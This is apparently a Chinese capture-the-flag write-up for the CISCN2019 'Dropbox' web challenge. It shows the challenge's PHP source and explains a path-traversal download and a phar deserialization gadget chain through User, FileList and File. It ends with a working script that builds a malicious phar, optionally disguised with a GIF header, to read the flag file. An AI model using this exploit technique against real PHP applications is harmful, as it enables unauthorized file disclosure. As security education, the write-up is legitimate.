CISCN2019 华北赛区 Day1 Web1 Dropbox

鸿鹄实验室

发布于 2021-04-15 11:12:12

1.4K0

发布于 2021-04-15 11:12:12

文章被收录于专栏：鸿鹄实验室鸿鹄实验室鸿鹄实验室

主要考点：

1、php反序列化

2、phar反序列化

3、任意文件下载

前台可以注册登录，登陆后可以下载文件。使用../跳转目录，下载主要代码文件：

<?php
#download.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

<?php
#delete.php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

<?php
#class.php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">ä¸è½½</a> / <a href="#" class="delete">å é¤</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

将class.php精简一下：

<?php
#代码精简一下
class File {
    public $filename;

    public function close() {
        return file_get_contents($this->filename);
    }
}
class User {
    public $db;
    public function __destruct() {
        $this->db->close();
    }
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        #省略了一些影响阅读的table创建代码
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '</tr>';
        }
        echo $table;
    }
}
?>

可以看到File的close()方法会去调用file_get_contents，可能存在文件读取。User类中存在close方法，并且该方法在对象销毁时执行。同时FileList类中存在call魔术方法，并且类没有close方法。如果一个Filelist对象调用了close()方法，根据call方法的代码可以知道，文件的close方法会被执行，就可能拿到flag。

如果能创建一个user的对象，其db变量是一个FileList对象，对象中的文件名为flag的位置。这样的话，当user对象销毁时，db变量的close方法被执行；而db变量没有close方法，这样就会触发call魔术方法，进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道，close方法执行后存在results变量里的结果会加入到table变量中被打印出来，也就是flag会被打印出来。

此时我们使用phar来构造

phar攻击的利用前提：

1.phar文件要能够上传到服务器端。2.要有可用的魔术方法作为“跳板”。3.文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤。

可以进行利用的函数：

ìnclude($_GET['file']);
fopen($_GET['file']);
file_get_contents($_GET['file']);
file($_GET['file']);
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);

phar生成的模板：

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='hu3sky';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

meta-data是以序列化的形式存储的。有序列化数据必然会有反序列化操作，php一大部分的文件系统函数在通过phar://伪协议解析phar文件时，都会将meta-data进行反序列化，具体函数如上

当然也可以伪装成其他文件：

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub，增加gif文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'hu3sky';
    $phar -> setMetadata($object);  //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>

那么我们便可以构造类如下：

<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后上传该文件，然后再删除文件的时候作如下操作，得到flag